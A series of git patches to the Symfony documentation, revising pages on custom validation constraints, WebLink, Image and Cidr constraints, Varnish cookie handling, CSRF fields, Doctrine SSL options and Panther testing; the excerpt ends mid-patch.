--git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index 9d3fb920d6d..3fd1afbeddc 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -66,6 +66,46 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required:: } } +Constraint with private properties +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Constraints are cached for efficiency, but private properties are not supported +by default. + +So if you're using private properties in your constraint, you must override default +``__sleep`` method :: + + // src/Validator/ContainsAlphanumeric.php + namespace App\Validator; + + use Symfony\Component\Validator\Attribute\HasNamedArguments; + use Symfony\Component\Validator\Constraint; + + #[\Attribute] + class ContainsAlphanumeric extends Constraint + { + public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.'; + + #[HasNamedArguments] + public function __construct( + private string $mode, + ?array $groups = null, + mixed $payload = null, + ) { + parent::__construct([], $groups, $payload); + } + + public function __sleep(): array + { + return array_merge( + parent::__sleep(), + [ + 'mode' + ] + ); + } + } + Creating the Validator itself ----------------------------- From 7eff479d4b62fb1ff5973ef867b3cc1c6b302470 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Wed, 25 Dec 2024 10:50:23 +0100 Subject: [PATCH 568/615] remove installation repetition in weblink --- web_link.rst | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/web_link.rst b/web_link.rst index e5ad7e1159c..44e668c2112 100644 --- a/web_link.rst +++ b/web_link.rst @@ -55,13 +55,7 @@ make one request for the HTML page and another request for the linked CSS file. However, thanks to HTTP/2 your application can start sending the CSS file contents even before browsers request them. -To do that, first install the WebLink component: - -.. code-block:: terminal - - $ composer require symfony/web-link - -Now, update the template to use the ``preload()`` Twig function provided by +You can update the template to use the ``preload()`` Twig function provided by WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply correct prioritization and the content security policy: From 301b89e6635829b80b502851c676686399521194 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 26 Dec 2024 11:24:46 +0100 Subject: [PATCH 569/615] Minor tweak --- reference/constraints/File.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst index fb9a61b4a29..4f8f5beddfc 100644 --- a/reference/constraints/File.rst +++ b/reference/constraints/File.rst @@ -314,12 +314,12 @@ Parameter Description The message displayed if the extension of the file is not a valid extension per the `extensions`_ option. -==================== ============================================================== -Parameter Description -==================== ============================================================== -``{{ extension }}`` The extension of the given file -``{{ extensions }}`` The list of allowed file extensions -==================== ============================================================== +==================== ============================================================== +Parameter Description +==================== ============================================================== +``{{ extension }}`` The extension of the given file +``{{ extensions }}`` The list of allowed file extensions +==================== ============================================================== ``mimeTypesMessage`` ~~~~~~~~~~~~~~~~~~~~ From 476bb59ed934f4ae5d83e99ad1513cdfd156bc4c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 26 Dec 2024 11:36:06 +0100 Subject: [PATCH 570/615] [WebLink] Minor reword --- web_link.rst | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/web_link.rst b/web_link.rst index 44e668c2112..8602445313f 100644 --- a/web_link.rst +++ b/web_link.rst @@ -50,14 +50,14 @@ Imagine that your application includes a web page like this: </body> </html> -Following the traditional HTTP workflow, when this page is served browsers will -make one request for the HTML page and another request for the linked CSS file. -However, thanks to HTTP/2 your application can start sending the CSS file -contents even before browsers request them. - -You can update the template to use the ``preload()`` Twig function provided by -WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply -correct prioritization and the content security policy: +In a traditional HTTP workflow, when this page is loaded, browsers make one +request for the HTML document and another for the linked CSS file. However, +with HTTP/2, your application can send the CSS file's contents to the browser +before it requests them. + +To achieve this, update your template to use the ``preload()`` Twig function +provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use +it to prioritize resources correctly and comply with the content security policy: .. code-block:: html+twig From 248d4ff7547e084cd52afea48cc6d9c915857e5e Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Mon, 30 Dec 2024 08:57:11 +0100 Subject: [PATCH 571/615] cannot validate svg image size --- reference/constraints/Image.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst index 48dc1d5e0ed..2734cf439d7 100644 --- a/reference/constraints/Image.rst +++ b/reference/constraints/Image.rst @@ -530,5 +530,10 @@ options has been set. This message has no parameters. +.. note:: + + SVG images sizes are not currently supported. Using size constraints with + these files will display this message. + .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php From 48f04058daf054506cb1a8214a7ed2bc978bdba9 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Wed, 1 Jan 2025 21:36:10 +0100 Subject: [PATCH 572/615] add Oauth client package in doc --- security.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/security.rst b/security.rst index 42489f6e3fe..ab4f48d6559 100644 --- a/security.rst +++ b/security.rst @@ -724,7 +724,7 @@ many other authenticators: If your application logs users in via a third-party service such as Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ - community bundle. + community bundle or `Oauth2-client`_ package. .. _security-form-login: @@ -3037,3 +3037,4 @@ Authorization (Denying Access) .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative .. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php +.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client From a604558544e641dfc60fb4f3e3d7da8996dfd2eb Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 2 Jan 2025 12:25:24 +0100 Subject: [PATCH 573/615] Reword --- reference/constraints/Image.rst | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst index 2734cf439d7..042c6041423 100644 --- a/reference/constraints/Image.rst +++ b/reference/constraints/Image.rst @@ -210,6 +210,11 @@ add several other options. If this option is false, the image cannot be landscape oriented. +.. note:: + + This option does not apply to SVG files. If you use it with SVG files, + you'll see the error message defined in the ``sizeNotDetectedMessage`` option. + ``allowLandscapeMessage`` ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -234,6 +239,11 @@ Parameter Description If this option is false, the image cannot be portrait oriented. +.. note:: + + This option does not apply to SVG files. If you use it with SVG files, + you'll see the error message defined in the ``sizeNotDetectedMessage`` option. + ``allowPortraitMessage`` ~~~~~~~~~~~~~~~~~~~~~~~~ @@ -260,6 +270,11 @@ If this option is false, the image cannot be a square. If you want to force a square image, then leave this option as its default ``true`` value and set `allowLandscape`_ and `allowPortrait`_ both to ``false``. +.. note:: + + This option does not apply to SVG files. If you use it with SVG files, + you'll see the error message defined in the ``sizeNotDetectedMessage`` option. + ``allowSquareMessage`` ~~~~~~~~~~~~~~~~~~~~~~ @@ -358,6 +373,11 @@ Parameter Description If set, the aspect ratio (``width / height``) of the image file must be less than or equal to this value. +.. note:: + + This option does not apply to SVG files. If you use it with SVG files, + you'll see the error message defined in the ``sizeNotDetectedMessage`` option. + ``maxRatioMessage`` ~~~~~~~~~~~~~~~~~~~ @@ -477,6 +497,11 @@ Parameter Description If set, the aspect ratio (``width / height``) of the image file must be greater than or equal to this value. +.. note:: + + This option does not apply to SVG files. If you use it with SVG files, + you'll see the error message defined in the ``sizeNotDetectedMessage`` option. + ``minRatioMessage`` ~~~~~~~~~~~~~~~~~~~ @@ -532,8 +557,9 @@ This message has no parameters. .. note:: - SVG images sizes are not currently supported. Using size constraints with - these files will display this message. + Detecting the size of SVG images is not supported. This error message will + be displayed if you use any of the following options: ``allowLandscape``, + ``allowPortrait``, ``allowSquare``, ``maxRatio``, and ``minRatio``. .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php From 9b50440bfb2c1a2e247f0200f06531ce53fec30d Mon Sep 17 00:00:00 2001 From: Hugo Posnic <hugo.posnic@protonmail.com> Date: Mon, 16 Dec 2024 21:33:32 +0100 Subject: [PATCH 574/615] Add info for essential cookies (such as REMEMBERME) --- http_cache/varnish.rst | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst index 1bc77530c70..98f66ff1af1 100644 --- a/http_cache/varnish.rst +++ b/http_cache/varnish.rst @@ -70,21 +70,18 @@ into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-c Cookies created in JavaScript and used only in the frontend, e.g. when using Google Analytics, are nonetheless sent to the server. These cookies are not relevant for the backend and should not affect the caching decision. Configure -your Varnish cache to `clean the cookies header`_. You want to keep the -session cookie, if there is one, and get rid of all other cookies so that pages -are cached if there is no active session. Unless you changed the default -configuration of PHP, your session cookie has the name ``PHPSESSID``: +your Varnish cache to `clean the cookies header`_. The goal is to retain only essential cookies—such as session cookies—and remove all others. By doing this, pages can still be cached when there is no active session. If you are using PHP and have not changed its default configuration, the session cookie is typically named PHPSESSID. Additionally, if your application relies on other important cookies, such as a "REMEMBERME" cookie for "remember me" functionality or "trusted_device" for 2FA, these cookies should also be preserved. .. configuration-block:: .. code-block:: varnish4 sub vcl_recv { - // Remove all cookies except the session ID. + // Remove all cookies except for essential ones. if (req.http.Cookie) { set req.http.Cookie = ";" + req.http.Cookie; set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";"); - set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1="); + set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1="); set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", ""); set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", ""); @@ -98,11 +95,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``: .. code-block:: varnish3 sub vcl_recv { - // Remove all cookies except the session ID. + // Remove all cookies except for essential ones. if (req.http.Cookie) { set req.http.Cookie = ";" + req.http.Cookie; set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";"); - set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1="); + set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1="); set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", ""); set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", ""); From c6f8e11faa520a12e3ca3f9c3de68cc5d5294b2d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 2 Jan 2025 13:27:26 +0100 Subject: [PATCH 575/615] Minor tweaks --- http_cache/varnish.rst | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst index 98f66ff1af1..a9bb668c100 100644 --- a/http_cache/varnish.rst +++ b/http_cache/varnish.rst @@ -67,10 +67,18 @@ at least for some parts of the site, e.g. when using forms with and clear the session when it is no longer needed. Alternatively, you can look into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`. -Cookies created in JavaScript and used only in the frontend, e.g. when using -Google Analytics, are nonetheless sent to the server. These cookies are not -relevant for the backend and should not affect the caching decision. Configure -your Varnish cache to `clean the cookies header`_. The goal is to retain only essential cookies—such as session cookies—and remove all others. By doing this, pages can still be cached when there is no active session. If you are using PHP and have not changed its default configuration, the session cookie is typically named PHPSESSID. Additionally, if your application relies on other important cookies, such as a "REMEMBERME" cookie for "remember me" functionality or "trusted_device" for 2FA, these cookies should also be preserved. +Cookies created in JavaScript and used only on the frontend, such as those from +Google Analytics, are still sent to the server. These cookies are not relevant +for backend processing and should not influence the caching logic. To ensure +this, configure your Varnish cache to `clean the cookies header`_ by retaining +only essential cookies (e.g., session cookies) and removing all others. This +allows pages to be cached when there is no active session. + +If you are using PHP with its default configuration, the session cookie is +typically named ``PHPSESSID``. Additionally, if your application depends on other +critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>` +functionality or a trusted device cookie for two-factor authentication, these +cookies should also be preserved. .. configuration-block:: From 0008e5b1a76566acbdb0e6e4fd5e752a31950eea Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 2 Jan 2025 13:34:31 +0100 Subject: [PATCH 576/615] Fix build --- security.rst | 1 - 1 file changed, 1 deletion(-) diff --git a/security.rst b/security.rst index 79bad3f2254..d684ba09ba7 100644 --- a/security.rst +++ b/security.rst @@ -2966,4 +2966,3 @@ Authorization (Denying Access) .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative .. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client -.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php From c4e7c728d066864c3140c3c0da0ae1d3a3f5269b Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 3 Jan 2025 13:31:54 +0100 Subject: [PATCH 577/615] Reword --- validation/custom_constraint.rst | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index 3fd1afbeddc..5f0740885d5 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -66,14 +66,15 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required:: } } -Constraint with private properties +Constraint with Private Properties ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Constraints are cached for efficiency, but private properties are not supported -by default. +Constraints are cached for performance reasons. To achieve this, the base +``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which +excludes private properties of child classes. -So if you're using private properties in your constraint, you must override default -``__sleep`` method :: +If your constraint defines private properties, you must explicitly include them +in the ``__sleep()`` method to ensure they are serialized correctly:: // src/Validator/ContainsAlphanumeric.php namespace App\Validator; From 786f7981aca32b2d87d2f37a2363f17090ee5599 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Sun, 5 Jan 2025 21:51:27 +0100 Subject: [PATCH 578/615] drop parentheses at end of PHP function --- validation/custom_constraint.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index 5f0740885d5..c2b4eff130a 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -70,7 +70,7 @@ Constraint with Private Properties ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Constraints are cached for performance reasons. To achieve this, the base -``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which +``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which excludes private properties of child classes. If your constraint defines private properties, you must explicitly include them From e818e1261943048b09487f2fb624adbf4d8f1730 Mon Sep 17 00:00:00 2001 From: Nicolas Grekas <nicolas.grekas@gmail.com> Date: Mon, 6 Jan 2025 15:40:44 +0100 Subject: [PATCH 579/615] Add data-controller="csrf-protection" to CSRF fields --- security.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security.rst b/security.rst index ab4f48d6559..b725672dd5f 100644 --- a/security.rst +++ b/security.rst @@ -1028,7 +1028,7 @@ be ``authenticate``: <form action="{{ path('app_login') }}" method="post"> {# ... the login fields #} - <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}"> + <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}"> <button type="submit">login</button> </form> From 357a3e95c51192beb465e899114a1c161a12df22 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 7 Jan 2025 08:56:55 +0100 Subject: [PATCH 580/615] [HttpFoundation] Mention issues with generated URL hashes --- routing.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/routing.rst b/routing.rst index 47fcfe8cb8f..a41b9bba6a6 100644 --- a/routing.rst +++ b/routing.rst @@ -2805,6 +2805,12 @@ service, which you can inject in your services or controllers:: ``Symfony\Component\HttpKernel\UriSigner`` to ``Symfony\Component\HttpFoundation\UriSigner``. +.. note:: + + The generated URI hashes may include the ``/`` and ``+`` characters, which + can cause issues with certain clients. If you encounter this problem, replace + them using the following: ``strtr($hash, ['/' => '_', '+' => '-'])``. + Troubleshooting --------------- From 5e338ab13a5dc60f5256d904a38f959567716863 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Wed, 8 Jan 2025 08:35:59 +0100 Subject: [PATCH 581/615] remove outdated timezone warning --- messenger.rst | 6 ------ 1 file changed, 6 deletions(-) diff --git a/messenger.rst b/messenger.rst index 9d5ab5d35c8..d1f215f16a3 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1583,12 +1583,6 @@ DSN by using the ``table_name`` option: Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`. -.. warning:: - - The datetime property of the messages stored in the database uses the - timezone of the current system. This may cause issues if multiple machines - with different timezone configuration use the same storage. - The transport has a number of options: ``table_name`` (default: ``messenger_messages``) From 6e71ed0d5ca3f3f48fbd750979be3b59e8194da9 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Wed, 8 Jan 2025 14:50:30 +0100 Subject: [PATCH 582/615] wrap multiple constraints in a Collection constraint to validate array-like data --- form/without_class.rst | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/form/without_class.rst b/form/without_class.rst index 436976bdfcc..8b0af7cf23f 100644 --- a/form/without_class.rst +++ b/form/without_class.rst @@ -137,6 +137,7 @@ This can be done by setting the ``constraints`` option in the use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; + use Symfony\Component\Validator\Constraints\Collection; use Symfony\Component\Validator\Constraints\Length; use Symfony\Component\Validator\Constraints\NotBlank; @@ -149,17 +150,15 @@ This can be done by setting the ``constraints`` option in the public function configureOptions(OptionsResolver $resolver): void { - $constraints = [ - 'firstName' => new Length(['min' => 3]), - 'lastName' => [ - new NotBlank(), - new Length(['min' => 3]), - ], - ]; - $resolver->setDefaults([ 'data_class' => null, - 'constraints' => $constraints, + 'constraints' => new Collection([ + 'firstName' => new Length(['min' => 3]), + 'lastName' => [ + new NotBlank(), + new Length(['min' => 3]), + ], + ]), ]); } From bb76fd9fee26080dfa8795528f472aed5d8fcf64 Mon Sep 17 00:00:00 2001 From: Ninos Ego <me@ninosego.de> Date: Wed, 8 Jan 2025 23:52:31 +0100 Subject: [PATCH 583/615] [Validator] Add note to `version` option in `Cidr` constraint --- reference/constraints/Cidr.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst index 24abeb57338..00125c72b39 100644 --- a/reference/constraints/Cidr.rst +++ b/reference/constraints/Cidr.rst @@ -126,6 +126,12 @@ Parameter Description This determines exactly *how* the CIDR notation is validated and can take one of :ref:`IP version ranges <reference-constraint-ip-version>`. +.. note:: + + IP range (``*_private``, ``*_reserved``) is only validating against IP, but not the whole + netmask. You need to set the ``{{ min }}`` value for the netmask to harden the validation a bit. + For example, ``9.0.0.0/6`` results to be ``*_public``, but also uses ``10.0.0.0/8`` range (``*_private``). + .. versionadded:: 7.1 The support of all IP version ranges was introduced in Symfony 7.1. From 57739755111fed2beca51857df73a7f59459fb81 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 9 Jan 2025 13:02:08 +0100 Subject: [PATCH 584/615] Minor reword --- reference/constraints/Cidr.rst | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst index 61233d875ce..78a5b6c7167 100644 --- a/reference/constraints/Cidr.rst +++ b/reference/constraints/Cidr.rst @@ -128,9 +128,11 @@ of :ref:`IP version ranges <reference-constraint-ip-version>`. .. note:: - IP range (``*_private``, ``*_reserved``) is only validating against IP, but not the whole - netmask. You need to set the ``{{ min }}`` value for the netmask to harden the validation a bit. - For example, ``9.0.0.0/6`` results to be ``*_public``, but also uses ``10.0.0.0/8`` range (``*_private``). + The IP range checks (e.g., ``*_private``, ``*_reserved``) validate only the + IP address, not the entire netmask. To improve validation, you can set the + ``{{ min }}`` value for the netmask. For example, the range ``9.0.0.0/6`` is + considered ``*_public``, but it also includes the ``10.0.0.0/8`` range, which + is categorized as ``*_private``. .. versionadded:: 7.1 From cf778c0d7991170dc4dec1392c3ad290de7e3cf7 Mon Sep 17 00:00:00 2001 From: Florian CAVASIN <cavasinf.info@gmail.com> Date: Thu, 9 Jan 2025 15:54:44 +0100 Subject: [PATCH 585/615] Update custom_constraint.rst --- validation/custom_constraint.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index c2b4eff130a..8fcb0c5c10e 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -499,7 +499,7 @@ A class constraint validator must be applied to the class itself: use App\Validator as AcmeAssert; - #[AcmeAssert\ProtocolClass] + #[AcmeAssert\ConfirmedPaymentReceipt] class AcmeEntity { // ... From 56c035a3c3f85299d29b56a96a52d502c2268187 Mon Sep 17 00:00:00 2001 From: Marko Kaznovac <kaznovac@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:04:34 +0100 Subject: [PATCH 586/615] serializer[custom_normalizer]: fix reference to built-in normalizers --- serializer/custom_normalizer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst index 276c618b8ac..d6ba66f89b6 100644 --- a/serializer/custom_normalizer.rst +++ b/serializer/custom_normalizer.rst @@ -3,7 +3,7 @@ How to Create your Custom Normalizer The :doc:`Serializer component </serializer>` uses normalizers to transform any data into an array. The component provides several -ref:`built-in normalizers <serializer-built-in-normalizers>` but you may +:ref:`built-in normalizers <serializer-built-in-normalizers>` but you may need to create your own normalizer to transform an unsupported data structure. From 1960c77521d526199cc28a07d189d8e4ac2353a0 Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Sat, 11 Jan 2025 03:10:57 -0300 Subject: [PATCH 587/615] [Doctrine] Use PDO constants in YAML configuration example --- reference/configuration/doctrine.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index cd1852710e7..272ad6b6804 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -483,12 +483,12 @@ set up the connection using environment variables for the certificate paths: server_version: '8.0.31' driver: 'pdo_mysql' options: - # SSL private key (PDO::MYSQL_ATTR_SSL_KEY) - 1007: '%env(MYSQL_SSL_KEY)%' - # SSL certificate (PDO::MYSQL_ATTR_SSL_CERT) - 1008: '%env(MYSQL_SSL_CERT)%' - # SSL CA authority (PDO::MYSQL_ATTR_SSL_CA) - 1009: '%env(MYSQL_SSL_CA)%' + # SSL private key + !php/const 'PDO::MYSQL_ATTR_SSL_KEY': '%env(MYSQL_SSL_KEY)%' + # SSL certificate + !php/const 'PDO::MYSQL_ATTR_SSL_CERT': '%env(MYSQL_SSL_CERT)%' + # SSL CA authority + !php/const 'PDO::MYSQL_ATTR_SSL_CA': '%env(MYSQL_SSL_CA)%' .. code-block:: xml From d32dd55878be38c1afc2a47704fe219e22b1a734 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Sun, 12 Jan 2025 21:17:27 +0100 Subject: [PATCH 588/615] Remove build spelling world list --- _build/spelling_word_list.txt | 344 ---------------------------------- 1 file changed, 344 deletions(-) delete mode 100644 _build/spelling_word_list.txt diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt deleted file mode 100644 index fa05ce9430e..00000000000 --- a/_build/spelling_word_list.txt +++ /dev/null @@ -1,344 +0,0 @@ -accessor -Akamai -analytics -Ansi -Ansible -async -authenticator -authenticators -autocompleted -autocompletion -autoconfiguration -autoconfigure -autoconfigured -autoconfigures -autoconfiguring -autoload -autoloaded -autoloader -autoloaders -autoloading -autoprefixing -autowire -autowireable -autowired -autowiring -backend -backends -balancer -balancers -bcrypt -benchmarking -Bitbucket -bitmask -bitmasks -bitwise -Blackfire -boolean -booleans -Brasseur -browserslist -buildpack -buildpacks -bundler -cacheable -Caddy -callables -camelCase -casted -changelog -changeset -charset -charsets -checkboxes -classmap -classname -clearers -cloner -cloners -codebase -config -configs -configurator -configurators -contrib -cron -cronjobs -cryptographic -cryptographically -Ctrl -ctype -cURL -customizable -customizations -Cygwin -dataset -datepicker -decrypt -denormalization -denormalize -denormalized -denormalizing -deprecations -deserialization -deserialize -deserialized -deserializing -destructor -dev -dn -DNS -docblock -Dotenv -downloader -Doxygen -DSN -Dunglas -easter -Eberlei -emilie -enctype -entrypoints -enum -env -escaper -escpaer -extensibility -extractable -eZPublish -Fabien -failover -filesystem -filesystems -formatter -formatters -frontend -getter -getters -GitHub -gmail -Gmail -Goutte -grapheme -hardcode -hardcoded -hardcodes -hardcoding -hasser -hassers -headshot -HInclude -hostname -https -iconv -igbinary -incrementing -ini -inlined -inlining -installable -instantiation -interoperable -intl -Intl -invokable -IPv -isser -issers -Jpegoptim -jQuery -js -Karlton -kb -kB -Kévin -Ki -KiB -kibibyte -Kubernetes -Kudu -labelled -latin -Ldap -libketama -licensor -lifecycle -liip -linter -localhost -Loggly -Logplex -lookups -loopback -lorenzo -Luhn -macOS -matcher -matchers -mbstring -mebibyte -memcache -memcached -MiB -michelle -minification -minified -minifier -minifies -minify -minifying -misconfiguration -misconfigured -misgendering -Monolog -mutator -nagle -namespace -namespaced -namespaces -namespacing -natively -nd -netmasks -nginx -normalizer -normalizers -npm -nyholm -OAuth -OPcache -overcomplicate -Packagist -parallelizes -parsers -PHP -PHPUnit -PID -plaintext -polyfill -polyfills -postcss -Potencier -pre -preconfigured -predefines -Predis -preload -preloaded -preloading -prepend -prepended -prepending -prepends -preprocessed -preprocessors -Procfile -profiler -programmatically -prototyped -rebase -reconfiguring -reconnection -redirections -refactorization -regexes -renderer -resolvers -responder -reStructuredText -reusability -runtime -sandboxing -schemas -screencast -semantical -serializable -serializer -sexualized -Silex -sluggable -socio -specificities -SQLite -stacktrace -stacktraces -storages -stringified -stylesheet -stylesheets -subclasses -subdirectories -subdirectory -sublcasses -sublicense -sublincense -subrequests -subtree -superclass -superglobal -superglobals -symfony -Symfony -symlink -symlinks -syntaxes -templating -testability -th -theming -throbber -timestampable -timezones -TLS -tmpfs -tobias -todo -Tomayko -Toolbelt -tooltip -Traversable -triaging -UI -uid -unary -unauthenticate -uncacheable -uncached -uncomment -uncommented -undelete -unhandled -unicode -Unix -unmapped -unminified -unported -unregister -unrendered -unserialize -unserialized -unserializing -unsubmitted -untracked -uploader -URI -validator -validators -variadic -VirtualBox -Vue -webpack -webpacked -webpackJsonp -webserver -whitespace -whitespaces -woh -Wordpress -Xdebug -xkcd -Xliff -XML -XPath -yaml -yay From efb59e63b7b04f7dd43bfdd5ad20b102091769c8 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Mon, 13 Jan 2025 09:05:44 +0100 Subject: [PATCH 589/615] [Panther] Sync documentation from upstream --- .doctor-rst.yaml | 1 + testing/end_to_end.rst | 68 +++++++++++++++++++++++++++++++++++------- 2 files changed, 58 insertions(+), 11 deletions(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 07eb7392bfb..258de40c750 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -117,3 +117,4 @@ whitelist: - '.. versionadded:: 3.0' # Doctrine ORM - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket' - 'End to End Tests (E2E)' + - '.. versionadded:: 2.2.0' # Panther diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst index d59f243f998..8a624ae884e 100644 --- a/testing/end_to_end.rst +++ b/testing/end_to_end.rst @@ -111,12 +111,12 @@ Here is an example of a snippet that uses Panther to test an application:: $client->clickLink('Getting started'); // wait for an element to be present in the DOM, even if hidden - $crawler = $client->waitFor('#installing-the-framework'); + $crawler = $client->waitFor('#bootstrapping-the-core-library'); // you can also wait for an element to be visible - $crawler = $client->waitForVisibility('#installing-the-framework'); + $crawler = $client->waitForVisibility('#bootstrapping-the-core-library'); // get the text of an element thanks to the query selector syntax - echo $crawler->filter('#installing-the-framework')->text(); + echo $crawler->filter('div:has(> #bootstrapping-the-core-library)')->text(); // take a screenshot of the current page $client->takeScreenshot('screen.png'); @@ -305,13 +305,13 @@ faster. Two alternative clients are available: * The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`. It is an intermediate between Symfony's kernel and Panther's test clients. ``HttpBrowser`` sends real HTTP requests using the - :doc:`HttpClient component </http_client>`. It is fast and is able to browse + :doc:`HttpClient 